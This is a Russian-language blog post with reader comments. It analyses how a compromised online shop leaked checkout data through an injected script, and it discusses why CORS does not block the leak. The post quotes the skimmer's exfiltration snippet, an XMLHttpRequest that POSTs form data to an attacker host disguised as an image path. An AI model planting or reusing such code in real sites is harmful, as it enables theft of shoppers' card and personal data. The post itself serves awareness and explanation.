вторник, 20 сентября 2016 г.

Как тихо и незаметно сливаются данные на сайтах

Началось все с обыденной истории - сайт интернет-магазина, администраторы которого упорно игнорируют установку патчей безопасности, взломали (на сайте есть уязвимость, позволяющая попасть в админку). В шаблон страницы добавили обфусцированный скрипт, который собирал данные со страниц оформления заказа и отправлял их на сторонний сервер.

Код, который отправляет подготовленные данные на сторонний сервер очень прост:

var http = new XMLHttpRequest();
http.open("POST","https://fraudsite.com/lib/paypal_icon.jpg",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+data);

И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:


Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...

4 комментария:

  1. Для начала, нужно отбить руки админу, который настраивал сервер и сказал отдавать заголовок Access-Control-Allow-Origin: *
    а затем разрабам, которые не осилили jsonp, чем собственно успешно и воспользовался злоумышленник.

    ОтветитьУдалить
    Ответы
    1. Заголовок "Access-Control-Allow-Origin: *" выдает сайт, на который сливается инфа (т.е. сайт, принадлежащий злоумышленнику). А скрипт, который сливает инфу, был установлен злоумышленником через уязвимость магазина и при чем тут jsonp и разрабы?

      Удалить
    2. Стоп. Данные на сервер злоумышленника отправляются js скриптом, через XMLHttpRequest, по просто говоря аяксом. По дефолту, браузер не даст отправить данные на домен отличный от того, с которого пришел запрос. Т.е. данные через XMLHttpRequest можно отправляить только на домен, на котром работает магазин. А тут полчается данные уводят через обычный xss. А для этого, именно сервер магазина, должен отдавать заголовки браузеру, которые ему скажут, что данные можно слать всем подряд.
      Либо я что-то не так понял?

      Удалить
    3. Вот именно так я и думал раньше. А оказалось, что все иначе. Если использовать GET/POST/HEAD запросы, не мудрить с Content-Type и дополнительными заголовками, то все зависит от желания ПРИНИМАЮЩЕЙ, а не отправляющей стороны. А принимающая в моем случае - жаждет принимать.

      Удалить